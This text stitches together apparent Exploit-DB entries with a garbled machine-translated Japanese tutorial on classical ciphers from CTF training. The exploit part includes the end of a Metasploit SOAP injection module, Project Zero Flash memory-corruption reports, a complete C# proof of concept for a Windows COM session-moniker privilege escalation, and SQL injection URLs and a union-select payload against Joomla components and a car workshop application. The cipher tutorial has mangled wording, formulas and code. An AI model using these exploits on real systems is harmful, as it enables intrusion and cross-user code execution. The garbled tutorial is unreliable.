req += "<ns1:getAttribute xmlns:ns1=\"urn:AdminService\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + "\r\n"
req += "<objectname xsi:type=\"ns1:javax.management.ObjectName\">" + inject_payload + "</objectname>" + "\r\n"
req += "<attribute xsi:type=\"xsd:string\">ringBufferSize</attribute>" + "\r\n"
req += "</ns1:getAttribute>" + "\r\n"
req += "</SOAP-ENV:Body>" + "\r\n"
req += "</SOAP-ENV:Envelope>" + "\r\n"
uri = target_uri.path
res = send_request_raw({
'method' => 'POST',
'version' => '1.1',
'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n",
'uri' => normalize_uri(uri),
'data' => req
})
end
end
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1017
There is a heap overflow in AVC header slicing. To reproduce the issue, put the attached files on a server and visit http://127.0.0.1/LoadImage.swf?img=slice.flv
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41612.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1016
The attached file causes heap corruption when decompressing a planar block. To reproduce the issue, but both attached files on a server and visit: http://127.0.0.1/LoadImage.swf?img=planar1.atf
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41611.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1015
The attached file causes an overflow in heap thumbnailing. To reproduce, place both attached files on a server and visit http://127.0.0.1/LoadImage.swf?img=thumb2.atf
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41610.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1006
The attached file causes a use-after-free in attaching a MovieClip and applying the init object.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41609.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1005
The attached file causes an out-of-bounds read when its metadata is parsed
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41608.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1021
Windows: COM Session Moniker EoP
Platform: Tested on Windows 10 14393, Server 2012 R2
Class: Elevation of Privilege
Summary:
When activating an object using the session moniker the DCOM activator doesn’t check if the current user has permission allowing a user to start an arbitrary process in another logged on user’s session.
Description:
The COM session moniker allows a user to specify the interactive session that’s to be used when a DCOM object is registered with an AppID with RunAs of “Interactive User”. As switching sessions is not something a normal user can do you’d assume that this would be only accessible to administrators (or at least with Impersonate/Assign Primary Token privilege). It turns out however that there’s no such restriction, this allows one user to instantiate a DCOM object inside another user’s session on the same machine (think Terminal Server or Fast User Switching).
The only restriction on the user then accessing that instantiated server is the specified Access DACL. The default Access DACL on a modern system only allows the user identity the server is running as as well as Administrators to access the created object. However there are a number of statically registered servers which allow the interactive user group (and who knows how many dynamically allowed ones through CoInitializeSecurity). I already described one these in my blog post of resurrecting dead processes, HxHelpPaneServer. With this object we can execute an arbitrary process in the context of the other user in their session.
Fortunately at least it's not possible to create an object in Session 0 (as far as I can tell) as that's not an interactive session.
Proof of Concept:
I’ve attached a proof of concept in C#. To test PoC use the following steps.
1) Create two users on the same machine.
2) Log on to both users to ensure account setup has completed.
3) As one of the users execute the PoC, ensure it prints that it’s going to start a new process. Switch to the other user (without logging out the one running the PoC).
4) After about 20 seconds a copy of notepad should start on the other user’s desktop. Of course this could be any process including an arbitrary executable from the other user.
NOTE: Make sure these user’s are not administrators, or at least are split token administrators. If they’re the Administrator user which doesn’t run by default with a filtered token then the user will not be able to access the DCOM object due to High IL and executing the process will fail. That’s not to say it’s impossible to exploit that scenario, just more difficult.
Expected Result:
Using a session moniker for a session outside the current one should fail if not an administrator.
Actual Result:
DCOM object created in the specified session an arbitrary executable run as that user.
*/
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;
namespace PoC_SessionMoniker_EoP
{
class Program
{
[ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IHxHelpPaneServer
{
void DisplayTask(string task);
void DisplayContents(string contents);
void DisplaySearchResults(string search);
void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
}
enum WTS_CONNECTSTATE_CLASS
{
WTSActive, // User logged on to WinStation
WTSConnected, // WinStation connected to client
WTSConnectQuery, // In the process of connecting to client
WTSShadow, // Shadowing another WinStation
WTSDisconnected, // WinStation logged on without client
WTSIdle, // Waiting for client to connect
WTSListen, // WinStation is listening for connection
WTSReset, // WinStation is being reset
WTSDown, // WinStation is down due to error
WTSInit, // WinStation in initialization
}
[StructLayout(LayoutKind.Sequential)]
struct WTS_SESSION_INFO
{
public int SessionId;
public IntPtr pWinStationName;
public WTS_CONNECTSTATE_CLASS State;
}
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSEnumerateSessions(
IntPtr hServer,
int Reserved,
int Version,
out IntPtr ppSessionInfo,
out int pCount);
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern void WTSFreeMemory(IntPtr memory);
public static IEnumerable<int> GetSessionIds()
{
List<int> sids = new List<int>();
IntPtr pSessions = IntPtr.Zero;
int dwSessionCount = 0;
try
{
if (WTSEnumerateSessions(IntPtr.Zero, 0, 1, out pSessions, out dwSessionCount))
{
IntPtr current = pSessions;
for (int i = 0; i < dwSessionCount; ++i)
{
WTS_SESSION_INFO session_info = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO));
if (session_info.State == WTS_CONNECTSTATE_CLASS.WTSActive)
{
if (session_info.SessionId != 0)
{
sids.Add(session_info.SessionId);
}
}
current += Marshal.SizeOf(typeof(WTS_SESSION_INFO));
}
}
}
finally
{
if (pSessions != IntPtr.Zero)
{
WTSFreeMemory(pSessions);
}
}
return sids;
}
static void Main(string[] args)
{
try
{
int current_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id = 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
if (sessions.Count() > 0)
{
new_session_id = sessions.First();
break;
}
Thread.Sleep(1000);
}
Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"));
server.Execute(target.AbsoluteUri);
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
}
}
#Exploit Title: PCAUSA Rawether for Windows local privilege escalation
#Date: 2017-03-15
#Exploit Author: ReWolf
#Vendor Homepage: original vendor website doesn't exist anymore
#Version: too many
#Tested on: Windows 10 x64 (TH2, RS1)
Rawether for Windows is a framework that facilitates communication between an application and the NDIS miniport driver. It’s produced by a company named Printing Communications Assoc., Inc. (PCAUSA), which seems to be no longer operating. Company websites can be still reached through web.archive.org:
http://web.archive.org/web/20151017034756/http://www.pcausa.com/
http://web.archive.org/web/20151128171809/http://www.rawether.net/
Rawether framework provides NDIS Protocol Driver similar to the NPF.SYS (part of the WinPcap). This framework is used by many different hardware vendors in their WiFi and router control applications. Exploit attached to this advisory targets 64bit version of PcaSp60.sys driver which is part of ASUS PCE-AC56 WLAN Card Utilities.
More information:
- http://blog.rewolf.pl/blog/?p=1778
- https://github.com/rwfpl/rewolf-pcausa-exploit/tree/4045cd9b45d647430d779f5b0a018a7a11d6ca2a
PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41605.zip
# # # # #
# Exploit Title: Joomla! Component Vik Rent Car v1.11 - SQL Injection
# Google Dork: inurl:index.php?option=com_vikrentcar
# Date: 15.03.2017
# Vendor Homepage: https://extensionsforjoomla.com/
# Software : https://extensionsforjoomla.com/components-modules/vik-rent-car-e4j
# Demo: https://extensionsforjoomla.com/livedemo/vikrentcar/
# Version: 1.11
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/?option=com_vikrentcar&caropt=[SQL]&days=31&pickup=1490947200&release=1493542800&place=[SQL]&task=showprc&Itemid=104
# ext4joo_vikrentcarj3demo
# Etc..
# # # # #
# # # # #
# Exploit Title: Joomla! Component Vik Rent Items v1.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_vikrentitems
# Date: 15.03.2017
# Vendor Homepage: https://extensionsforjoomla.com/
# Software : https://extensionsforjoomla.com/components-modules/vik-rent-items-e4j
# Demo: https://extensionsforjoomla.com/livedemo/vikrentitems/
# Version: 1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/?option=com_vikrentitems&task=showprc&itemopt=[SQL]&days=2&pickup=1490790600&release=1490947200&place=[SQL]&Itemid=132
# ext4joo_vikrentitemsj3demo
# Etc..
# # # # #
# # # # #
# Exploit Title: Car Workshop System - SQL Injection
# Google Dork: N/A
# Date: 13.03.2017
# Vendor Homepage: http://prosoft-apps.com/
# Software: https://codecanyon.net/item/car-workshop-system/19562074
# Demo: http://workshop.prosoft-apps.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL]
# 6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+-
#
# In addition.
# Technician User, There are security vulnerabilities.
# purchase_order/deletePO?id=
# technician_services/tech_opened_services_view?job_id=
# technician_services/tech_drew_out_inventory_services_view?job_id=
# technician_services/tech_completed_services_view?job_id=
# Etc..
# # # # #
暗号化の紹介
暗号化は一般に、古典的な暗号化と現代の暗号化に分けることができます。
その中で、実用的な芸術としての古典的な暗号化は、多くの場合、デザイナーと敵の創造性とスキルに依存しており、元の暗号を明確に定義していません。主に次の側面が含まれています
シングルテーブル交換暗号化マルチテーブル交換暗号化奇妙な暗号化方法。一方、現代の暗号化は、20世紀後半に登場した多数の関連理論に由来し、現代の暗号化を体系的かつ厳密に学ぶことができる科学になりました。現代の暗号化は、単に次の側面に分けることができます
DES、AES、RC4で表される対称パスワード。非対称パスワードは、RSAおよび楕円曲線暗号化によって表されます。 MD5、SHA1、SHA512などで表されるHash。デジタル署名、RSA署名、Elgamal Signature、およびDSA Signatureで表されます。暗号化する主な方法は2つあります
ブロック暗号化ストリーム暗号化一般的に言えば、パスワードデザイナーの基本的なアイデアは、パスワードフレームワークを確保することです。
機密性の整合性の可用性は否定できず、最初の3つはCIAトリプルとも呼ばれます。
パスワードクラッカーの場合、通常、パスワードアルゴリズムを識別する方法を見つけてから、パスワードフレームワークのブルートフォースクラッキング方法または脆弱性を使用してクラックする必要があります。もちろん、対応する検出をバイパスするために、誤ったハッシュ値または署名を構築したい場合もあります。
一般的に言えば、攻撃者はパスワードシステムが壊れていることを知っていると仮定します。一般的に言えば、次の種類の攻撃があります。
攻撃タイプの説明該当するシナリオ:暗号文攻撃攻撃攻撃者のみがciphertextクラシックパスワードのみを既知のプレーンテキスト攻撃と対応する暗号化クラシックパスワード、対称的なパスワード、非対称パスワード、非対称パスワード、プラントテキスト攻撃は、対応する微細テキスト対称パスワードを取得することができます。非対称パスワードは、いくつかの暗号文を選択した後、プレーンテキスト非対称パスワードを取得できます。ここに推奨される資料がいくつかあります
Khan Academy Open Classは理解しやすい暗号化——一般的な暗号化技術の原則とアプリケーション
参照
ウィキペディアクリプトグラフィ
古典的なパスワードの紹介
シャノンの機密システムのコミュニケーション理論の公開前の暗号化は、古典的なクリプトグラフィーとして分類されます。最終分析では、古典的な暗号エンコーディングの2つの主要な方法、つまり置換と交換があります。
パスワードを交換
プレーンテキストの文字を再配置すると、文字自体は変更されていませんが、その位置は変わります。この方法でコンパイルされたパスワードは、交換パスワードと呼ばれます。パスワードを置き換える最も簡単な方法は、プレーンテキストのアルファベット順の順序を逆にしてから、それをciphertextとして固定長の文字グループにカットすることです。
- 列の順列暗号化:固定された長さm、つまり、行ごとのm文字、キーの制御下で特定の順序で列を交換する列、つまり、列の優先順位で読み取る、つまり、ciphertextが生成されます。復号化:逆プロセス。
- 定期的な順列は、ほぼ同じ列の順序ですが、追加および復号化する場合、列交換後に行ごとに下方に実行されます。
置換
パスワード置換は、プレーンテキストの文字を他の文字に置き換えることです。 -single-denote置換パスワードAからBへのマッピングを定義します:F:A→BF(A_I)=B_I=A_J \ J=I+K \ MOD N加算パスワードは、アルファベットの後のK番目の文字に置き換えられます。 K=3は、Caesarが使用する暗号化システムである有名なCaesarコードです。これは、シセロの戦いで重要な軍事情報を保護するために古代ローマ人の偉大なものです。これは、世界史における最初の有名なパスワードアプリケーションです。
cultip倍パスワードaとbは、n文字のあるアルファベットです。aからbへのマッピングを定義します:f:a→bf(a_i)=b_i=a_j \ j=ik \ mod n where :(n、k)=1。注:(n、k)=1のみが正しく解読できます。
cassidersパスワードの代わりにランダムに単語を選択し、内部の重複文字を削除し、マトリックスの最初の行に書き込み、この最初の行の文字をプレーンテキストアルファベットから削除し、残りの文字をマトリックスアルファベットに書き込みます。次に、列に従って文字を取り出して、暗号アルファベットを形成します。
-Multi-denotesはパスワードを単一デノットに置き換えますが、1つの理由は、単純なテキストレターが暗号テキストレターにのみ置き換えられることです。周波数分析は、解読に使用できます。したがって、より安全なマルチデノテッド置換パスワードが生成されます。つまり、複数の暗号文アルファベットが構築され、一連の置換テーブルが使用されて、キーの制御下でシーケンスのプレーンテキストメッセージのアルファベットシーケンスを置き換えます。
古典的な暗号化では、主に単一テーブルの代替パスワード、マルチテーブルの代替パスワード、およびその他の興味深いパスワードを紹介します。
古典的な暗号化では、デザイナーは主にメッセージの機密性を考慮しているため、関連するキーを持つ人のみが暗号テキストを復号化してメッセージのコンテンツを取得できず、メッセージの完全性と否定性を考慮しないことに言及する価値があります。
単一テーブル暗号化
[目的]
いくつかの一般的な暗号化方法
[環境]
Ubuntu
[ツール]
JPK
[原則]
シングルテーブル交換暗号化の
パスワードのシフト
すべての暗号化方法には、ほぼ1つの共通の特徴があります。したがって、通常、割れる方法は2つあります
キースペースが小さい場合、暗号文の長さが十分に長いときにブルートフォースの亀裂が使用されます。キースペースが十分に大きく、暗号文の長さが十分に短い場合、単語周波数分析が使用され、亀裂はより困難です。
シーザーコード
原理
暗号化されると、Caesar暗号は、単純なテキスト内の各文字を後方(または前方)に移動します。これは、暗号テキストとして固定数(移動ループ)のアルファベットにある順序で順に移動します。たとえば、オフセットがシフトしたままになった場合(復号化中のキーは3):
プレーンアルファベット:abcdefghijklmnopqrstuvwxyz
秘密のテキストアルファベット:defghijklmnopqrstuvwxyzabc
使用すると、暗号化業者は、プレーンテキストアルファベットで暗号化する必要があるメッセージ内の各文字の場所を探し、Cipherテキストアルファベットに対応する文字を書きます。復号化する必要がある人は、元のプレーンテキストを取得するために、以前に既知のキーに基づいて逆に動作します。例えば:
プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます
パスワード:WKH TXLFN EURZQ IRA MXPSV RYHU WKH ODCB GRJ
オフセットに応じて、いくつかの特定のCAESARパスワード名があります。
オフセットは10です:avocat(a→k)オフセットは13:rot13です。 ROT13は独自の反転です。つまり、ROT13を復元するには、同じ暗号化アルゴリズムを使用してそれを取得できるため、同じ操作を再暗号化して解読できます。オフセットは-5:Cassis(k 6)です。オフセットは-6:カセット(k 7)です。さらに、キーベースのシーザー暗号があります。基本原則は、キーを使用してキーの各ビットを数値(通常はアルファベットの対応する順序で数値に変換)に変換し、この数値をキーとして使用して、プレーンテキストの各文字を暗号化することです。
atbash cipher
Caesarパスワードと同様に、パスワードをシフトするだけでなく、数字や特殊文字も扱うことです。 ASCIIコードテーブルは、一般的にシフトに使用されます。亀裂方法は、考えられる結果を得るためにすべての可能性を横断することでもあります。
原理
簡単なパスワードの交換
Atbash Cipherは、実際に以下に紹介する単純な交換パスワードの特別なケースと見なすことができます。アルファベットの最後の文字を使用して最初の文字を表し、最後から2番目の文字は2番目の文字を表します。ローマのアルファベットでは、次のように見えます。
プレーンテキスト:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
パスワード:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
原理
アフィンパスワード
シンプルな置換暗号を暗号化するときは、各プレーンテキストレターを一意で異なる文字に置き換えます。それとCAESARパスワードの違いは、パスワードのアルファベットの文字が単にシフトされているのではなく、完全に混乱しているため、CAESARパスワードよりもクラックするのが難しくなっていることです。例えば:
プレーンレター: abcdefghijklmnopqrstuvwxyz
キーレター: phqgiumeylnofdxjkrcvstzwb
aはpに対応し、dはHなどに対応します。
原理
[step]
アフィンパスワードの暗号化関数はe(x)=(ax+b)(modm)で、ここで
xは、プレーンテキストの特定のエンコードで取得された番号AとMを表します。エンコードシステムの文字の数です。復号化関数はd(x)=a − 1(x -b)(modm)で、a -1はzmグループのaの乗算逆要素です。
Caiserパスワード
atbash cipher
ここでは、Xman Summer Camp共有トーナメントの第1フェーズであるCrypto 100を紹介します。
プレーンテキスト:S0A6U3U1S0BV1A
キー:広東
オフセット:6,20,0,13,6,19,14,20
パスワード:Y0U6U3H1Y0UJ1U
割れた
キーのないCaesarのパスワードの場合、それをクラックする2つの基本的な方法があります。
26のオフセットのトラバーサルは、単語頻度を分析するための一般的な状況に適しており、暗号文が長い状況に適しています。その中で、最初の方法は間違いなく平易なテキストを取得できますが、2番目の方法では必ずしも正しい平易なテキストを取得するとは限りません。
キーベースのシーザー暗号の場合、対応するキーを知る必要があります。
この質問を例に挙げてください:広州は最初にオフセットに変換され、Aは0に変換され、他の文字はそれに応じてオフセットされ、最終的なオフセットは6、20、0、13、6、19、14、20です。文字のみが暗号化され、最初の文字sはキーの最初の文字sに対応するオフセットであるため、暗号化の後、プレーンテキストの2番目の文字Aはキーuに対応するオフセットを続けます。暗号化が完了した後、暗号文はプレーンテキストから取得でき、逆操作はciphertextから取得できます。
道具
一般的に、次のツールがあり、その中にはJPKがより一般的です。
JPK、キーを使用して復号化するためのオンライン復号化ツールキーCaesarパスワードなし
簡単なパスワードの交換
以下は、ローマアルファベットの対応するルールに基づいて暗号化されているため、理解できます。
プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます
パスワード:GSV JFRXP LOVEM ULC QFNKH LEVI GSV OZAB WLT
割れた
その重要な空間は十分に短く、暗号文が十分に長い場合、単語周波数分析によって解決できることがわかります。
アフィンパスワード
例では、次の例では、原則部分を使用して、パーツの対応するルールを置き換えて暗号化するだけです。
プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます
パスワード:cei jvaql hkdtf udz yvoxr dsik cei npbw gdm
復号化するとき、通常、それをdyする前に、各文字の対応するルールを知っています。
割れた
この暗号化方式は26!のすべてのキーの数になるため、ブルートフォースソリューションを使用することはほとんど不可能です。したがって、通常、単語周波数分析を使用します。
道具
単語周波数分析と亀裂ツール
[概要]
例として、次の関数e(x)=(5x+8)mod26を紹介します。暗号化された文字列はアフィン暗号です。ここでは、エンコーディングシステムとしてアルファベットの26文字を直接使用します
プレーンテキストAffinecipherx055813428157417y=5x+8833333487328184883432893ymod268772221218222517215暗号テキストIhhwvcswfrcp
復号化プロセスの場合、通常の復号化装置にはaとbがあります。原理部分の対応する説明によれば、A -1が21であるため、その復号化関数はD(x)=21(x -8)(mod26)であり、復号化は次のとおりであると計算できます。
ciphertext ihhwvcswfrcpy87722121822517215x=21(y-8)0-21-21294273-126210294-63189-126147xmod26055813428157417 plaintext efsiphe shows assitiphe show show show show shove exhingは
割れた
まず、アフィンパスワードで取得した暗号文は、2つの異なる文字で異なる必要があるため、最も一般的な特性も備えていることがわかります。暗号文の長さが十分に長い場合、周波数分析方法を使用して解決できます。
第二に、パスワードを攻撃する方法を検討することができます。 a=1の場合、アフィン暗号化はシーザー暗号化であることがわかります。一般的に言えば、アフィンパスワードを使用する場合、文字セットはすべてアルファベットを使用し、通常は26文字しか使用しておらず、合計26と26の相互に排他的な数字があります。
ϕ(26)=ϕ(2)×ϕ(13)=12 bのオフセットの可能性が計算され、可能な総キースペースサイズは
12×26=312一般的に言えば、このタイプのパスワードについては、平易なテキストを知っている場合にのみ攻撃する必要があります。以下は簡単な分析です。
このパスワードは、2つのパラメーターによって制御されます。それらのいずれかを知っていれば、他のパラメーターを簡単に迅速に列挙して答えを得ることができます。
ただし、ここで26文字であると仮定して、使用されている文字セットが既に使用されていることをすでに知っていると仮定します。別の復号化の方法があり、復号化するために2つの暗号化された文字Y1とY2を知る必要があります。それから私たちはまだ知ることができます
y1=(ax1+b)(mod26)y2=(ax2+b)(mod26)2つの方程式を減算すると、取得できます
y1 -y2=a(x1 -x2)(mod26)ここでy1、y2が知られています。暗号文に対応する2つの異なる文字x1とx2がわかっている場合、aとbを簡単に取得できます。
例
次のプログラムは、オペレーティングマシンのデスクトップ/ツール/twctf2016-super_express/directoryに保存されています
ここでは、例としてTWCTF 2016のsuper_expressを紹介します。簡単に与えられたソースコードをご覧ください
sysをインポートします
key='****検閲****************
flag='twctf {******検閲*********}'
Len(key)%2==1:の場合
印刷( 'キー長エラー')
sys.exit(1)
n=len(key)/2
暗号化=''
flag:のcの場合
c=ord(c)
a、b in zip(key [0:n]、key [n:2*n]):の場合
c=(ord(a) * c + ord(b))%251
暗号化+='%02x'%c
暗号化された印刷
フラグ内の各文字はn回暗号化されていますが、慎重に分析すると、それが見つかることがわかります。
C1=A1C+B1C2=A2C1+B2=A1A2C+A2B1C+B2=KC+D 2番目の行の導出によると、CNは実際には同じ形式であり、CN=XC+Yと見なされる可能性があります。
さらに、暗号テキストもタイトルに記載されており、暗号テキストのコンテンツは次のとおりです。
805eed80CBBCCB94C36413275780EC94A857DFEC8DA8CA94A8C313A8CCF9
また、いくつかの暗号文に対応するプレーンテキストでは、既知のプレーンテキスト攻撃方法を使用して攻撃することは簡単です。次のようにコードを使用します。ciphertextをテキストファイルとして保存し、暗号化された変更に変更します。暗号化されたディレクトリで次のコードを実行します
gmpyをインポートします
key='****検閲****************
flag='twctf {******検閲*********}'
f=open( 'necrypted'、 'r')
data=f.read()。ストリップ( '\ n')
暗号化=[int(data [i3360i + 2]、16)for i in range(0、len(data)、2)]
plaindelta=ord(flag [1]) - ord(flag [0])
cipherdalte=暗号化[1] - 暗号化[0]
a=gmpy.invert(plaindelta、251) * cipherdalte%251
b=(暗号化[0] -a * ord(flag [0]))%251
a_inv=gmpy.invert(a、251)
結果=''
暗号化:のCの場合
結果+=chr((c -b) * a_inv%251)
印刷結果
結果は次のとおりです(ファイルが配置されているディレクトリを右クリックし、ここから端子を開いて現在のディレクトリの端末を開き、次のように復号化プログラムを実行します)
シェル
twctf2016-super_express git:(マスター)python exploit.py
twctf {faster_than_shinkansen!}
多表現暗号化
このセクションの研究により、いくつかの一般的な暗号化方法と亀裂方法を学ぶことができます
原理
マルチテーブル置換暗号化の場合、暗号化された文字は元の周波数をほとんど維持しなくなるため、一般的にアルゴリズムを見つけることで対応する弱点を割ることができます。
ツール
PlayFairパスワード(PlayFair CipherまたはPlayFair Square)は、交換用パスワードです。 1854年にチャールズホイートストーンによって発明されました。基本的なアルゴリズムは次のとおりです。
英語の文字の文字列を選択し、繰り返される文字を削除し、残りの文字を5×5マトリックスに1つずつ追加し、A-Zの順に残りの英語の文字から残りのスペースを追加します。 qを削除するか、iとjを同じ単語として扱うことに注意してください。プレーンテキストを分割して、2つのグループに暗号化されます。グループ内の文字が同じ場合、グループの最初の文字にx(またはq)を追加して再編成します。 1つの単語が残っている場合は、Xを追加します。各グループに、マトリックス内の2つの文字がどこにあるかを確認します。 2文字に異なる行と列がある場合、マトリックス内の他の2文字を見つけます(最初の文字は行が優先されます)。これにより、これらの4文字は長方形の四隅になります。 2文字が並んでいる場合は、2文字の右に文字を持ちます(手紙が右端にある場合は、左端に手紙を取ります)。 2文字が同じ列にある場合は、2文字の下の文字を撮ります(文字が下部にある場合は、上記の文字を取ります)。新しく見つかった2文字は、元の2文字の暗号化の結果です。
鍵としてPlayFairの例を取ります、
P l a y f
I R e x m
b c d g h
K n o q s
T u v w z
暗号化されるメッセージは、木の切り株に金を隠すことです
こんにちは
取得します
bm od zb xd na be ku dm ui xm mo uv if if
原理
CAP4
ツール
Polybiusパスワードは、チェスボードパスワードとも呼ばれます。通常、特定のプレーンテキストで数字の組み合わせに暗号化され、一般的に使用されるパスワードリスト
123451ABCDE2FGHI/JK3LMNOP4QRSTU5VWXYZたとえば、単純なテキストこんにちは、暗号化後、23 15 31 31 34です。
別のパスワードリスト
adfgxabtalpddhozkfqfvsnggjcuxxmrewyここでの文字の順序は破壊されていることに注意してください。
d f g xの起源:
1918年、第一次世界大戦が終了しようとしたとき、フランス軍はドイツの電報を傍受し、電報のすべての単語は5文字のa、d、f、g、xから綴られたため、ADFGXパスワードと呼ばれました。 ADFGXパスワードは、1918年3月にドイツのフリッツネベル大佐によって発明されました。これは、Polybiusパスワードを組み合わせてパスワードを置き換えるデュアル暗号化スキームです。
たとえば、こんにちは、このテーブルの暗号化を使用することはDD XF AG DFです。
Vigenere Virginiaパスワード
Cryptool
原理
亀裂
バージニアパスワード(Vigenere)は、シーザーパスワードを使用してパスワードアルファベットを形成する暗号化アルゴリズムです。これは、マルチテーブルパスワードの単純な形式です。
これが例です
プレーンテキスト:グレートウォールに来てください
キー:暗号
まず、キーを埋めて、その長さがプレーンテキストの長さと同じになるようにします。
プレーンテキストComegreatwall Key Cryptoc、その後、テーブルを検索して暗号テキストを取得します
プレーンテキスト:グレートウォールに来てください
キー:暗号
パスワード:efkt zferrltzn
ツール
バージニア州のパスワードを含むすべてのマルチテーブルパスワードの解読は、文字頻度に基づいていますが、直接周波数分析は適用されません。これは、バージニア州のパスワードでは、文字が異なる暗号文に暗号化できるため、ここでは簡単な頻度分析が役に立たないためです。
バージニア州のパスワードを解読するための鍵は、そのキーがループで繰り返されることです。キーの長さがわかっている場合、暗号文は織り交ぜられたシーザーの暗号コードと見なすことができ、それぞれを個別に割ることができます。パスワードの長さについては、KassiskyテストとFriedmanテストを使用して取得できます。
Kassiskyの実験は、同じキー文字で暗号化される可能性があるため、暗号文に繰り返し表示される可能性があるという事実に基づいています。たとえば、プレーンテキストの異なる暗号は、キーABCDEFによって異なる暗号文に暗号化される場合があります。
キー:ABCDEF AB CDEFA BCD EFABCDEFABCD
プレーンテキスト:暗号は暗号化の略です
パスワード:csasxt it ukswt gqu gwyqvrkwaqjb
この時点で、プレーンテキストで繰り返される要素は、暗号テキストでは繰り返されません。ただし、キーが同じ場合、結果は(キーABCDを使用)になる可能性があります。
キー:ABCDAB CD ABCDA BCD ABCDABCD
プレーンテキスト:暗号は暗号化の略です
パスワード:CSASTP KV SIQUT GQU CSASTPIUAQJB
この時点で、Kassiskyテストは結果を生み出すことができます。この方法は、通常、より長い段落でより効果的です。通常、暗号文にはより繰り返しのセグメントがあります。次の暗号文を使用してキーの長さを解読できる場合:
パスワード:dyduxrmhtvdvnqdqnwduxrmhartjgwnqd
その中で、2つのdyduxrmhsの外観は18文字離れています。したがって、キーの長さは18の除数であると想定できます。つまり、長さは18、9、6、3、または2です。2つのNQDは20文字離れています。つまり、キーの長さは20、10、5、4、または2である必要があります。
より詳細なひび割れの原則に関しては、当面の間、あまり紹介することはありません。
nihilist
既知のキーPython Decrypts OnlineVigenèreCiphercap4未知のキーvigenèreciphercipher codebreakervigenereソルバーのPycipherライブラリ、十分ではありません。
原理
ヒル
ニヒリストのパスワードは、キーワードパスワードとしても知られています。例としてキーワードHelloWorldを使用してください。
まず、キーを使用してボードマトリックスを構築します(Polybiusパスワードと同様) - 新しい5×5マトリックスを作成します - 繰り返されることなくマトリックスに文字を順番に入力します - 残りをアルファベット順に埋める - 文字iとjは同等です
123451HELOW2RDABC3FGI/JKM4NPQST5UVXYZ暗号化プロセスリファレンスマトリックスM:
A -M [2,3] -23
T -M [4,5] -45
復号化プロセス用
参照マトリックスMを復号化する:
23 -m [2,3] -a
45 -m [4,5] -t
ciphertextの特性は次のとおりであることがわかります
純粋な数字には、偶数の偶発的な長さの1から5。
原理
3
ツール
のみが含まれています。ヒルパスワード(丘)は、アルファベット内の各文字の順序を対応する数字として使用します。 26.暗号化として使用されるマトリックス(つまり、キー)はZn26Z26Nでは可逆的でなければならないことに注意してください。そうしないと、デコードすることは不可能です。マトリックスの決定要因と26の共重力のみが可逆的です。これが例です
プレーンテキスト:行為
明の文化をマトリックスに入れてください。
⎡⎢⎣0219⎤⎥⎦[0219]キーは次のとおりです。
⎡⎢⎣6241131610201715⎤⎥⎦[6241131610201715]暗号化プロセスは次のとおりです。
⎡⎢⎣6241131610201715⎤⎥⎦⎡⎢⎣0219⎤⎥⎦α672222319⎤⎥⎦α15147⎤⎥⎦⎥⎦MOD26[6241131610201715] [0219]¹[67222319]するまった
パスワード:POH
例
cap4cryptool 010-1010ここでは、ISCC 2015 Base Decrypt 150を例として紹介します。タイトルはです
パスワード:
# # # # #
# Exploit Title: Yacht Listing Script v2.0 - SQL Injection
# Google Dork: N/A
